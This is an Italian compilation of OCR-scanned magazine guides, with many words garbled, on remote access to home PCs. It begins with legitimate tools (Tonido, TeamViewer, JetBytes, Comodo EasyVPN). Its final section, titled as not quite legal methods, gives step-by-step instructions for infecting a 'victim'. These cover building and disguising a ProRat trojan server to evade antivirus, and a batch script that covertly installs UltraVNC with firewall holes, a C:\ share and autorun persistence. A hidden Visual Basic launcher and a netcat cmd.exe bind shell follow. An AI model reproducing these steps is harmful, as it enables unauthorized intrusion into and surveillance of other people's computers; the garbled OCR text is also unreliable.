Con l'applicazione Webshare possiamo creare unzadiWeb che punta ad una
qualsiasi cartella del nostro disco rigido. In daenodo, potremo condividerla
con altri. Per farlo, clicchiamo My Shared FilesndBrowse selezioniamo il file
(o la cartella) e premiamo Add per aggiungerlo afierse condivise. Cliccando
EmailURL potremo inviare l'indirizzo ai nostri amic

5) installiamo le app

Oltre alle funzioni preinstallate, Tonido permetteaggiungere nuove funzioni
installando ulteriori applicazioni. A tal fine,aadio in Applicationse spostiamo-
ci nella scheda Install. Qui sono disponibili tugeapplicazioni che & possibile
aggiungere al nostro server. Basta premere il ptds#nstall attendere qualche
secondo.

6) Attiviamo le funzioni

Installate le applicazioni, dovremo attivarle. Aagio in Manage e clicchiamo
sui pulsante + in corrispondenza dell'applicazidheelle attive saranno poi ac-
cessibili dal pannello di sinistra sotto la vocephgations. In seguito potremo
avviare, sospendere o rimuovere le varie applicazio

Non resta che goderci da remoto il nostro cloudesgrersonale!

Tutte le meraviglie di Tonido Dopo averlo installato sul PC, possiamo ag-
giungere tante applicazioni gratuite per gestinmeglio i nostri file anche quan-
do non siamo in casa. Ecco alcuni esempi di cossigmo farci:

*) ACCESSO VIA BROWSER

Tonido ci fornisce un indirizzo URL univoco del dipnttp://nomeutente.toni-
doid.com che possiamo utilizzare per accederdegpfesenti sul computer di
casa da un qualsiasi PC collegato ad Internet Bastare il browser, digitare,
I'indirizzo Web citato ed eseguire il login insedteria password del

nostro account.

*) VIDEO IN STREAMING

Se sul PC di casa abbiamo salvato alcuni videsipo®

visualizzarli in streaming nella

finestra del browser. Basta cliccare sul file dehdto per avviarne la riproduzio-
ne. Per la visione potrebbe essere necessarionstellato VLC Media Player

*) CONDIVIDIAMO LO SCHERMO

Con Screen Share possiamo condividere lo scherif®Gleon amici o colleghi.
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Non c'é bisogno di installare alcun plugin comash| Java, ActiveX o altro. Ba-
sta cliccare Start Sharing e comunicare alle pergdrressate il link mostrato
nell'applicazione (con user ID e la password imgtagt

*) ESPLORA RISORSE

Dal pannello My Compute a sinistra possiamo seagicesplorare, copiare,
rinominare o cancellare i file del PC di casa arenaigliaia di chilometri di di-
stanza, "Cliccando sul pulsante con la frecciawdrbasso, posta accanto al
file, apriamo il menu con le possibili azioni: Dolwad, Rename,Copy, Delete e
Add toFayorites. Cliccando UploadFiles, invece,qm%i0 caricare

da remoto (come le foto della digicam) nella céatspecificata.

*) ASCOLTARE LE COMPILATION MUSICALI

Cliccando sull'applicazione Jukebox possiamo omgaane e riprodurre i brani
musical i che abbiamo sul computer di casa. Peuaggre i file all'applicazione
dobbiamo premere Add e selezionare la cartellaiiti abbiamo salvati. Possia-
mo poi scorrere le canzoni per avviarne la riprazhe col playéer integrato o
creare playlist da richiamare velocemente.Sonoatigipi formati MP3, OGG,
AAC, FLAC, M4Ae WMA. Possiamo riprodurre in streamii file musicali, an-
che dell'Esplora risorse di Tonido.

*) SLIDESHOW

Da Esplora risorse possiamo accedere alle cametlei abbiamo salvato le no-
stre foto e visualizzarle a distanza con simpatmesentazioni. Tutto quel che
dobbiamo fare & spostarci nel tab Gallery e cle&ideshow.
*)CONDIVIDIAMO | FILE PERSONALI

Webshare consente di condividere documenti e difeahiunque, basta selezio-
nare la cartella da condividere, specificare upilicaccount a cui concedere
l'accesso e comunicare alla persona che dovraaoail file I'indirizzo Web in-
dicato in Webshare ( con le credenziali per aceedal browser).

*) SCARICHIAMO DAL P2P

Con l'applicazione Torrent possiamo mettere a caaxiun file dalla rete BitTor-
rent ovunqgue ci troviamo e gestirne il downloadeaoto.

Per aggiungere un file a quelli da scaricare clatio New, premiamo Sfoglia e
selezioniamo il file .torrent.In Download Locatisoegliamo la cartella in cui
salvare i download e premiamo Submit. | file scafipotranno poi essere gestiti
con Esplora risorse di Tonido.

*) BACKUP

Questa applicazione permette di pianificare bacutpmatici delle cartelle ar-
chiviate nel computer di casa, da qualsiasi post@eiamo. Possiamo, ad
esempio, programmare una copia di sicurezza peeatklla cartella Documen-
ti. Per creare un nuovo backup basta cliccare Neggaire la procedura guidata.
*)UN BLOG PRIVATO

Tonido Thots € una specie di blog privato che @wssiutilizzare per memoriz-
zare note, segnalibri video dal Web e altri tipirdormazioni. Quel che
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digitiamo viene salvato sul PC di casa e potreno@@ervi in ogni momento.
Possiamo organizzare le note per categorie e, desideriamo, renderle
pubbliche attraverso un link URL.

*) SEARCH

Permette di trovare facilmente i file del PC diacgeando non ricordiamo i |
percorso in cui li abbiamo salvati. Con AdvancedrSe possiamo specificare
dove eseguire la ricerca e filtrare i risultatbizse alla data di modifica e alla di-
mensione del file.

*) ANCHE DAL TELEFONINO!

Possiamo accedere a Tonido,. presente sul PCaliaashe da uno smartphone,
installando semplicemente I'applicazione Tonidaisahile gratuitamente dai
vari store delle piattaforme mobile. E disponibitéatti per iOS, Androide-Win-
dows Phone 7 e BlackBerry. Dal telefonino potreravigare tra le cartelle, sca-
ricare i vari file,ascoltare in streaming i branisicali e visualizzare le gallerie
fotografiche.

TeamViewer

Con una pendrive controlli da remoto il computer saza impazzire con le
impostazioni del router.
Attiviamo la condivisione

Per accedere da remoto a file e cartelle preselnfiG, & necessario che queste
siano condivise. Per farlo & sufficiente cliccampra col tasto destro e scegliere
Proprieta. Spostiamoci nella scheda Condivisiookcehiamo Condividi
(Applica).

1) Una portable sul PC...

Creiamo la cartella TeamViewer sul Desktop e alinterno estraiamo il file
TeamViewerPortable.zip Clicchiamo col tasto destr@eamViewer.exe e
selezioniamo Esegui come amministratore: prendiaota dei dati di accesso
(ID e Password) e lasciamo acceso il PC.
2) ... e I'altra sulla chiavetta
Copiamo la cartella TeamViewer (Passo 1) analia sostra pendrive USB.
Fuori casa, colleghiamo la chiavetta al PC da userda connessione remota
(quello dell'ufficio o di un Internet Point) e aamo TeamViewer.exe. Spuntia-
mo Trasferimento di file, digitiamo I' ID del PC&Bso 1) e clicchiamo Collega-
mento con l'interlocutore. Scriviamo anche la Pagsie premiamo Invio.
3) Cartelle locali e remote

La finestra Trasferimento file & divisa in due sezi a sinistra troviamo le car-
telle del PC sul quale stiamo operando; a destuaité del PC remoto. Navi-
ghiamo nelle directory per selezionare il file daiare (o ricevere) e clicchiamo
Invio (o Ricevi ) per eseguire il trasferimento fkE. Questa funzione € comoda
per prelevare documenti o trasferire le foto déiicam sul PC di casa.
4) Controllo totale a distanza



Per gestire il PC come se fossimo seduti alla stigasia, eseguiamo Team-
Viewer e scegliamo I'opzione Controllo remoto. Biamo I'ID del PC di casa e
premiamo Invio: inserendo la Password e confermaaa Invio si aprira una
finestra che mostra il Desktop del computer rem@&toemo cosi la possibilita di
eseguire file e applicazioni (eMule, pTorrent eem¢he a distanza.

Trasferire senza perdere tempo conjetBytes

Scambiarne file, anche di grosse dimensioni,coaraito, senza intermediari
C'e un modo semplicissimo, veloce e sicuro, paférae un file di qualsiasi di-
mensione ad un amico: possiamo usare JetBytemestito disponibile alla pagi-
na http://jetbyies.com, che consente di selezionaréocumento sul proprio
hard disk e generare un link che il destinatarierdasare per il download.

Con JetBytes il trasferimento € diretto, dal promomputer a quello dell'amico:
il servizio crea un "canale" tra i due PC ma nommezza il file su alcuna
postazione online. Questo garantisce anche una siertrezza per l'invio di do-
cumenti riservati, dato che dopo il download iklgenerato da JetBytes non
sara piu valido. Unica richiesta di questo servéithe,dovendosi creare un ca-
nale tra i due PC, sia il mittente che il destiratdevono essere connessi nello
stesso momento. Insomma, con questo strumentoasapfinalmente come in-
viare "al volo" qualsiasi file all'amico online,re preoccuparci si installare al-
tre applicazioni o effettuare registrazioni.

Selezioniamo il fileJetBytes € semplice ed intuitivo, alla portatéutti.

Per inviare un file basta selezionarlo sul propiaod disk!

SEMPLICE ED IMMEDIATO

Aprendo la pagina Web di JetBytes si nota subiemtpil servizio sia semplice:
per selezionare il file da inviare dobbiamo solgmtemere Sfoglia. La nota nel-
la pagina principale dice che il servizio & speritate, ma JetBytes &€ comunque
sicuro e perfettamente funzionante!

IL FILE DA TRASFERIRE

A guesto punto possiamo selezionare il file deféré®, utilizzando la solita fi-
nestra di esplora risorse di Windows. JetBytes eatesdi inviare un solo file

alla volta,ma possiamo trasferirne piu di uno cdeamn pacchetto compresso
con WinZip o WinRar.

Pronti per i! trasferimento?

Dopo avere selezionato il file da trasferire, Jé¢Bygenerera il link da inviare al-
I'amico, grazie al quale potra avviare il download

ECCO IL LINK

Premendo Apri nella finestra Scegliere file, toméaalla finestra di JetBytes,
che generera un link da usare per il downloadhkK| khe si trova nella casella in
basso, puo essere copiato in memoria selezionamietamente ed

usando i tasti Ctrl+C.
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SUL PC DEL DESTINATARIO

I link precedentemente copiato in memoria possiamiarlo via e-mail (incol-
landolo con Ctrl+V) al destinatario, che nella diasdi posta trovera un messag-
gio con il codice per il download. Gli bastera clice sul link, direttamente

dalla casella di posta, per avviare il prelievofiel

SIAVVIA IL DOWNLOAD .

A questo punto sul PC del destinatario si aprira fimestra di JetBytes, e si av-
viera automaticamente la finestra Download del ilwa sufficiente cliccare sul
pulsante Salva per scaricare il file sul PC. Clxtsu Apri sara possibile
vedere il contenuto del documento, senza scaricarlo

DI NUOVO SUL PC DEL MITTENTE!

Sul nostro computer, mentre I'amico sta scaricdrfile, vedremo una barra di
progresso che ci indica a che punto € il downl&aub a trasferimento comple-
tato non possiamo spegnere il PC o chiudere |atfiaeli JetBytes,

ma possiamo svolgere altre operazioni senza prablem

UNA PICCOLA PROVA

Al termine del download, il link generato per iefievo del file sara annullato da
JetBytes, anche perché i dati trasferiti non soamorizzati su alcun server onli-
ne.Provando dal PC del destinatario a riattivaliakl infatti, JetBytes avvisera
che questo non é piu valido.

COMODO EasyVPN: crea una rete virtuale privata

Ecco come predisporre un canale di comunicaziangsiper accedere attraver-
so Internet a dati e funzioni del PC fisso.

Comodo EasyVPNun software gratuito e facilissimo da usare (rstawate I'in-
terfaccia solo in inglese) che consente di predispeti VPN (Virtual Private
Networking) con pochi clic del mouse. Disponendaimt Virtual Private Net-
work (VPN) é possibile scambiare file, condividetampanti e, piu in generale,
accedere alle risorse come se ci si trovasse imaitadocale anche in caso le
workstation siano fisicamente collocate a chiloirgitdistanza I'una dall'altra.
Questo significa, ad esempio, che € possibile gggeealla rete dell'ufficio an-
che la postazione di casa (o viceversa), opputzzaee una rete "locale” per-
manente con gli amici anche quando i calcolatambsabicati presso diverse abi-
tazioni. Tutti i dati in transito sono crittografa la partecipazione alla rete pud
essere riservata tramite l'imposizione di una passvNon & necessario modifi-
care alcun parametro sul router o nella configarazidella rete: una volta instal-
lato il programma sui PC e configurato il tuttoniige pochi clic, semplicemente
funziona. L'applicazione € liberamente utilizzaliembiti non-commerciali ed
€ compatibile con tutte le versioni del sistemarafeo Microsoft, da Windows
XP in avanti. |l file & unico per tutte le generzidi Windows, ma notate che
uno & compatibile con le declinazioni a 32 bit, tnrefialtro con quelle a 64 bit.
Una volta ottenuto il file,lanciatelo sul primo R8e dovra far parte della vostra

41



rete: la fase di setup si conclude con poche dliceai pulsanti Next ed Install.
L'ultima schermata propone di avviare il programoaclic su fine e saremo
chiamati a scegliere se inserire un chiave di iegorofessionale, oppure prose-
guire con l'uso personale. Premete Close e vivetete davanti alla schermata
principale dell'applicazione. Cliccate sul grandéspnte Register a new account
compilate il modulo con i dati richiesti (€ impartea utilizzare un indirizzo mail
reale) e completate con Register . Aprite ora felta di posta indicata e dovre-
ste trovare un'email proveniente da Comodo Unitgi&e cliccate sul link di at-
tivazione. Tornati al programma, spuntate le tisetia di controllo
Rememberme, Remembermy password e Sign me in alitattyaed accedete

al servizio cliccando Sign me in. Cliccate oraawibce di menu Networks/Crea-
te New Network e digitate il nome che desiderasegsare alla vostra VPN nel
campo Network name. Qualsiasi cosa va bene, madat®che questa sara la
stringa da utilizzare su tutti i PC da aggregarantanetela semplice. Similmen-
te, proteggete l'accesso con una parola d'ordaile fda ricordare ma robusta:
digitatela nel campo Password. Sinceratevi che [EN&BN sia attivo e confer-
mate: la vostra nuova rete sara predisposta eumpater corrente ne fara gia
parte.

Il pit & fatto:passiamo ora a lavorare su tuttiadflii sistemi che dovranno fare
parte della stessa rete.

CONFIGURIAMO LA RETE

Passiamo ora ad installare e configurare il softveartutti gli altri sistemi che
dovranno scambiare dati fra loro. Ripetete la stegentica procedura di instal-
lazione e configurazione vista poco fa. Registwait@ccount distinto, utilizzando
un indirizzo email differente per ogni computer cleve partecipare alla VPN:
in caso contrario, eseguendo log-in da una postaziausera il log-out di quella
precedentemente connessa. Questa volta, inveceatteaina nuova VPN come
visto in precedenza, seguite Networks/Join a Netwedrinserite direttamente il
nome della rete e la relativa password scelti gtaédmente alla creazione della
stessa sull'altro computer. Con pochi clic di comfg i vostri sistemi dovrebbero
essere in grado di "vedersi", e saranno elenceipn@camente nelle rispettive fi-
nestre schede Networks di Comodo EasyVPN

CONDIVIDERE FILE E STAMPANTI

Presupposto di aver configurato tutto per condiade risorse in rete locale,
aprite come di consueto Risorse di rete e, corchaatecondo di ritardo rispetto
guanto siete abituati lavorando in LAN, dovrestéeptvedere" I'altro PC ed ac-
cedere ai file condivisi ed alle eventuali stampambprio come al solito. Se
cosi non fosse, aprite Risorse dei Computare qdigitate \\nome-computer-re-
moto per "forzare" un collegamento esplicito. Riaie soltanto che, poiché sie-
te collegati mediante Internet, le velocita di feaisnento sono estremamente
piu ridotte rispetto a quelle a cui siete abitiaiLAN.
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CONTROLLO A DISTANZA

Nulla vieta di sfruttare il "canale" VPN per preneld controllo dei vari sistemi
tramite VNC oppure Desktop Remoto. Comodo EasyVHie perd uno stru-
mento integrato che consente di raggiungere lestelbiettivo con la massima
semplicita. La caratteristica € gia parzialmenteaper impostazione predefini-
ta, ma e configurata in modo che sia necessaslitéa approvazione da parte
dell'utente seduto davanti al PC del quale si @eaidssumere il controllo prima
di procedere. Come? evidente, quindi, il tutto fana adeguatamente solo

per sessioni di assistenza remota: se pero vatetlare ad un computer non-
presidiato (il vostro personale di casa mentreesietifficio, ad esempio), € ne-
cessario fare una piccola variazione.

ABILITARE IL "SERVER"

Sul PC che desiderate utilizzare da remoto in $egselezionate la voce di
menu Tools / Options, quindi portatevi nel gruppopkioni Desktop Control e
cliccate sul pulsante Configura... Nella finestrdidlogo, premete Add,
spostatevi alla scheda Network, individuate |'igestte utilizzerete per l'accesso,
spuntate la casella di controllo corrispondenterdarmate con Add . Selezio-
nate ora il nuovo elemento dalla lista e, pocoosaitegliete la seconda preferen-
za, ovvero quella che recita Allow automatic renateess. Dal menu a tendina
attivatosi poco sotto, cliccate Password only es@gaite con una cliccata

sul pulsante Password. A questo punto, sceglieigarola d'ordine a piacere:
sara quella che dovrete fornire in seguito perragat. Confermate ripetutamen-
te e tutto & pronto.

COLLEGARSI DAL CLIENT

Spostatevi ora sul PC che volete impiegare "fisgmatei'per accedere alla vostra
macchina remota. Dall'interfaccia di Comodo Easy\irdividuate il PC remoto

e fatevi clic con il pulsante destro del mouse. ibahu, scegliete Desktop Con-

trol. Vi verra richiesta la password scelta in p@enza ed il gioco e fatto.

MESSAGGISTICA ISTANTANEA

Comodo EasyVPN é dotato di un componente integiagoconsente di scambia-
re messaggi e chattare in stile Windows Live Megsefra i nodi connessi ad
una determinata rete . Per inviare un messaggsudfieiente aprire il menu con-
testuale del contatto desiderato e selezionareda Chat. Agendo sul menu con-
testuale di una intera rete, invece che su quéllma specifico contatto, aprirete
una "chat room" con tutti gli utenti che ne fanraotp.



PARTECIPARE A PIU RETI

Generalmente, un PC fara parte di una sola VP¥od#ra personale, creata all'i-
nizio della presente guida. Nulla vieta pero diraggre il calcolatore a piu reti,
come, ad esempio, quella che avete creato cortri aosici.

Per farlo, seguite nuovamente le istruzioni pggtagazione gia dettagliate in
precedenza impiegando, questa volta, le credenbgaicesso per la seconda
VPN. Non volete piu far parte di una determinata?é\ulla di piu semplice:
cliccate sul pulsante destro sul nome della stessdezionate Disable VPN, per
interrompere in maniera provvisoria la connettividppure Leave Network per
abbandonarla definitivamente.

Remote Desktop Access._

CONTROLLO REMOTO
Metodi (non proprio)legali

Cos’e una backdoor?

Una “porta di servizio” che permette 'amministiaaé remota del computer.

In genere dopo aver ottenuto I'accesso al compthecker ha la necessita di
tornare nel sistema in modo piu agevole, oppureisegno di un’interfaccia a
linea di comando (shell) con la quale poter aginma@adamente.

Questi programmi permettono di avere il pieno adhdrdi un PC remoto. Alla
loro nascita consistevano in semplici "porte seaoied (come dice il nome stes-
s0), che i programmatori lasciavano aperte perdareeal loro lavoro e apportar-
vi delle modifiche.

Generalmente sono costituiti da due paritlient e il Server Il server (la parte
di programma da installare sul sistema vittimagrglo viene eseguito, apporta
delle modifiche al registro di sistema in modo dasge avviato ad ogni sessione
e si mette in ascolto su una determinata portéaswtnte € di piccole
dimensioni e la sua esecuzione & invisibile altitgell client, invece, & installato
sulla macchina "dell'aggressore". Questa applicez{oome gia detto,
pienamente conforme all'interfaccia "user friendlgica di Windows) permette
di comunicare con il server. Esistono centinaiBatik Door ma, grossomodo, la
maggior parte tende ad avere le caratteristicHe ttel piu famose (ed

utilizzate): Net Bus, Back Orifice, Sub Seven.

Il Netbus 2 pro

e diverso dalle versioni precedenti fatte da mberfaccia a bottoni e due
programmi (uno client l'altro server), infatti largione 2 € fatta da vari menu e
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due programmi uno client e I'altro per creare lemderver eseguibile. Per creare
un file eseguibile bisogna andare sul menu filepdegramma client e al posto di
local server mettere exe server.

L'ultima release del netbus e’ la 2.0. Sostanzialene' un upgrade della version
1.7, aggiungendo le caratteristiche tipiche degmommi windows (Icone, scelta
a scalare ecc...). Vediamo le principali cararstiehe:

- Dopo un primo approccio,osserviamo che la poegadit e' la 20034ma che
sara possibile cambiare, con semplici passi.

- Altra caratteristica,che il prg server,ora si poafigurare a nostro

= uj

piacimento, vediamo come:

% NB Server [OH N 1] |

F ully visible _

Full access

Configurazione server

La fig (1),rappresenta in definitiva una sorta eibuster,cioe’ indica gli ip
connessi con il nostro server.Cliccando su "Séttjsigaprira’ la finestra in figura
(2),da qui potremo scegliere:

-Accept Connection=Il server accetta la connessione da parte diientcl
-Run on Port = Porta default utilizzata dal client per lavor&reest'ultima e al
20034 ma la potremo cambiare.

-Password= Set password,lasciando in bianco ogni utente gntoare
liberamente senza bisogno di alcuna autorizzazione.

-Visibility of Server = Indica la visibilita' del server.Potrete scegliére
Opzioni:

*)Eully visible = Pienamente visibile

*)Minimiza as TraylCor Minimizza come icona sul desktop

*)Only in tasklist= Visibile solamente in task List.La task listalista di avvio
che ha windown 95/98/NT.Premi ctrl+alt+Canc,vedhdista completa di
programmi attivi.
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*)Invisible Mode= Mode invisibile con sistemi 95/98.

-Access mode = Tramite le opzioni potrete decidldieello di accesso che puo
avere un client:

*)Basic Accesss Accede alle funzioni base.

*)Spy mode access Mode in accesso spia.Consente una visualizzazion
parte delle funzioni.

*)Eull access= Il server da 'accesso a tutte le funzioni.

-Autostart every Windows Session = Fa partiredl $erver ogni qualvolta che
windows si avvia.

-Log Communication = Crea un log del server in @ssione.

Configurazione client
Il client e'in sostanza il prg che ci permetteainetterci con il server. A
differenza della versione 1.7,ora ci sono funzaggiuntive di grandi utilita:

-File = Da qui poteremo scegliere:

*)LOgBook = Log Connessioni

*)Setting= Da qui potrete settare il Network.Dal menu' <€ate>,la lingua e la
directory del netbus,nonche’ se comprimere i filarglo trasferiti. -
<Network>,Selezionando la prima opzione non si attiva wxyCon la seconda
lo attiviamo,impostando i set di configurazione.

*)Server Setup= Opzioni descritte nella configurazione Server

*)Exit = Esci dal programma

-Host = Finestra

Setivi una breve descrizione o lip

ip da utihzzare ex:100.100.100.100

20034
Administrator

{a)

4
=
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*)Connect= Avvia la connessione con I'host selezionato @)G
*)Disconnect= Disconnetti la connessione con I'host selezm (&G 3)
*)New = Add host Vedi (Fig 4)

*)Remove= Rimuovi ip selezionato

*)Edit.. = Edita I'ip selezionato

*)Eind = Scansione per trovare host infetti. Inseriscipud'inizio e un ip di
fine,la porta e lascia inalterato il sock.

*)Scheduler= E' un opzione che ti permette di decidere trannite script
quando effettuare una connessione con host diversi.

- Control = Nel control ci sono tutte le opzioniliut

*)Server Admin--> Restrict Access = Cliccando con il tasto deptitrete
aggiungere ip che potranno connettersi con voi

*)Host info ,potrete vedere le pass di sistema (solo per wisdib/98,non
lavora x windows NT) .

*)Reqistry Managerpermette di gestire il registro di configurazione

Prorat v1.9, Backdoor per acceso remoto in un pc
OCCORRENTE

1) Il backdoor(Prorat)

2) Avere I'ip della vittima trovandolo utilizzanda specifica funzione del nostro
prorat oppure attraverso MSN o con dei portscaimneonsiglio Angry ip Scan
molto facile da usare.

Dopo aver scaricato il Backdoor iniziamo con unaigpil file compresso
all'interno di una cartella utilizzando la passwerd e successivamente apriamo
I'exe quello con I'icona del cavallo.

Impostiamo la lingua italiana e generiamo il Seclex dovra essere inviato alla
vittima che di conseguenza sara infettata.

Dunque ora spuntiamo la casella Use the mail catifin inserendo quella
nostra in modo tale che quando la vittima apriseilver ci arrivera il suo ip
sull'indirizzo di posta utilizzato(dovrebbe).Poichamo avanti su Regolazioni
generali.

Succesivamente impostiamo il tutto come di default

E inseriamo un messaggio d’errore a cavolo, Pengge Invalid Memory

Block Addres sempre meglio se in inglese Ci scagsu facilmente!.. Fatto cio
andiamo su Binding With Lima

Attraverso questa operazione sara possibile lébseever a un file .exe a
un’immagine....in modo tale che non sara riconosdiaito facilmente dagli
antivirus...Se decidiamo di legarlo ad un’immagingdeno il messaggio
d’errore perché un'immagine non ha un messaggioate ..Per finire andiamo
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su server icona e scegliamo l'icona che avra itmoaserver...infine clicchiamo
genera server
Andiamo dove abbiamo unzippato ProRat..e.. un Iddunava!!! server.exe

NON APRIAMOLO..
Questo sara il server da inviare alla vittima
Come usufruire del server e le principali Funzioni

Dunque dopo aver inviato il server alla vittima,assicurarci che I'abbia aperto
andiamo a vedere I'email..e se c € arrivato ilipueuol dire che ¢ stato
lanciato...fatto cido prendiamo I'ip e inseriamolo pebgramma clicchiamo su
connettere e ...... siamo dentro !!

Ora abbiamo pieno possesso del suo PC!

PC INFORMAZIONE:

Ci da informazioni sul PC

Versione di windows/linux utilizzata
Potenza,Nome computer, ecc ecc

MESSAGGIO:

Si puo fare apparire dei messaggi
Sul monitor della vittima, ma non é
consigliabile potrebbe insospettirsi!

CHIACCHIERARE:

Si fa apparire una chat style matrix

Sul PC della vittima dal quale non si puo uscire
E si entra in una conversazione con la vittima
Nemmeno questo & consigliabile..

IEXPLORER
Si ottengono informazioni sul browser internet exet

PANNELLO DI CONTROLLO
Si pud accedere a diverse opzioni del PC

WHAT COMICS :
Con questa opzione si puo fare piccoli scherziattama aprire CD-ROM,
Bloccare Mouse ecc..ec..
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Accesso in remoto tramite il noto programma VNC.
Prima di tutto scaricate ULTRAVNC dopo di cio aprit blocco note e mettete il
seguente codice:

CODICE

@echo off

netsh firewall add portopening TCP 5900 PORTAWEB

netsh firewall add portopening TCP 139 PORTAWEB

net share disco=C:\

netsh firewall add allowedprogram program= C:\winn@xe name=
mgdsmode=enablescope=all profile=all

@echo off

REG ADD HKEY_CURRENT_USER\Software\ORL

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
AutoPortSelect /t REG_DWORD /d 1 /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
BlackAlphaBlending /t REG_DWORD /d O /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
BlankMonitorEnable /t REG_DWORD /d 1 /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
CaptureAlphaBlending /t REG_DWORD /d O /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
DefaultScale /t REG_DWORD /d 1 /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
FileTransferEnable /t REG_DWORD /d 1 /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
FTUserlmpersonation /t REG_DWORD /d 1 /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
HTTPConnect /t REG_DWORD /d 1 /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /alé
Timeout /t REG_DWORD /d 0 /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
InputsEnabled /t REG_DWORD /d 1 /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
LocallnputDisabled /t REG_DWORD /d O /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 hotkSetting
/t REG_DWORD /d O /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
OnlyPollConsole /t REG_DWORD /d 1 /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
OnlyPollOnEvent /t REG_DWORD /d 0O /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 hagsword /t
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REG_BINARY /d F3268FE776CDFF8A /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
PollForeground /t REG_DWORD /d 1 /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
PollFullScreen /t REG_DWORD /d 0 /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
PollUnderCursor /t REG_DWORD /d O /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
QueryAccept /t REG_DWORD /d 0 /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
QuerySetting /t REG_DWORD /d 2 /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
RemoveWallpaper /t REG_DWORD /d 0O /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
SocketConnect /t REG_DWORD /d 1 /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
UseDSMPlugin /t REG_DWORD /d 0 /f

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v
XDMCPConnect /t REG_DWORD /d 0O /f

REG ADD
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curtéersion\Run /v
Winvnc /t REG_SZ /d "C:\winvnc.exe"

@start c:\winvnc.exe

exit

Adesso salvatelo con estensione .bat (come pot¢deennel codice batch ho
messo pure il comando per aprire la porta 139 eqadividere il disco C:\)
Poi mettete il file.bat e il server winvnc.exe aorchooks.dll in un archivio
AUTOESTRAENTE che dovra estrarre i file in C:\ eeaffiovra lanciare in
automatico il file.bat e di conseguenza lances&iver. (@start C:\winvnc.exe)
(Potete compilare il file.bat in modalita ghost pen dare sospetti...)Infine
aprite il vostro client (vncviewer) inserite l'iglih vittima e il gioco e fatto.

Per creare archivi autoestraenti con lexpressvedere punto 5 Pag.17

Per eseguire programmi in modalita nascostpossiamo realizzare un
Launchey ossia un programma che esegua la nostra applieam maniera
invisibile; ovviamente nell'operazione pianificatavremmo impostare
I'esecuzione del Launcher (e non direttamenteoijamma)

Il Launcher si puo scrivere in tre righe di Visiasic, utilizzando l'istruzione
Shell:

Private Sub Form_Load ()
Forml.visible = False
Shell ("nomeprogramma.exe"), vbHide
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Unload Form1
End Sub

Creiamo I'eseguibile, denominiamolo NomeLaunchergxgopiamolo nella
cartella Windows dell'host remoto (dove avevama@dentemente posizionato
nomeprogramma.exe).

Ora andiamo a creare la nostra operazione piatgfivalla stessa maniera di
prima, ma come comando da eseguire impostiamo naumeher.exe.
(Ricordiamoci ancora di impostare l'esecuzione umuto avanti all'orario
corrente).

Cosi viene eseguito il Launcher (in modalita nasgashe a sua volta esegue |l
programma (anch'esso in modalita nascosta). Elfiéamo la nostra shell
"spawned" nascosta senza disturbare l'utente akll'h

NETCAT: il coltellino svizzero delle reti

Netcate un programma open source a riga di comando dilcmazione remota,
utilizzabile sia col protocollo TCP sia col prottiodJDP. Netcat & uno strumen-
to potentissimo, molto versatile, che vi permettachesempio, di creare delle
applicazioni di tipo client server con dei sempféicript di shell. Vediamo come
funziona. Quando accediamo alle condivisioni daliro PC in LAN f\Indi-
rizzoPQ, il protocollo SMB(ossiaCondivisione file e stampanti per

Reti Microsoft)ci permette di esplorare il contenuto delle cltebndivise e
di copiare/aprire gli oggetti che sono condivisi.

Creare una backdoor con Netcat

Cos’e una backdoor?

Una “porta di servizio” che permette 'amministr@aé remota del computer.

In genere dopo aver ottenuto I'accesso al complitacker ha la necessita di
tornare nel sistema in modo piu agevole, oppureisgno di un’interfaccia a li-
nea di comando (shell) con la quale poter agirectamente.

In questo articolo vediamo come collegare a nétcascolto su di una porta Tcp
la shell di sistema.

Per attivare netcat come backdoor usiamo il seguemthando sul computer da
attaccare:

nc -1 -p 9999 -vv -e cmd.exe
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Vediamo nel dettaglio. Il parametro -I dice a nettidascoltare” sulla porta Tcp
indicata dal parametro -p, in questo caso 999®(earbitrario). Il cuore della
tecnica € il parametro -e, che seguito da cmdsraisce netcat a eseguire (-e
ovvero exec) il comando specificato (cmd.exe, Elsh Windows) veicolando
I'input/output attraverso netcat stesso.

Come ci si collega ad un host su cui e stata ntasssta backdoor? Ma natural-
mente con netcat!

Se il computer sotto controllo ha come indirizzd §2.168.0.1, otterremo I'ac-
cesso remoto con il comando:

nc 192.168.0.1 9999 -wv

ci troveremo di fronte al prompt dei comandi di \dnvs; solo che questo
prompt non & della nostra macchina, ma quello adedlachina remota!

Per uscire dalla backdoor basta semplicementeadégixit e la connessione si
chiude. E qui ¢’é un problema.

Una volta chiusa la connessione in netcat remottendi ascoltare, semplice-
mente termina I'esecuzione; quindi non sara pitsipds collegarsi da remoto.
Per aggirare questo problema ci viene in soccoysarametro -L.

nc -L -p 9999 -vv > trojan <— notare la L maiuscalgosto di -|

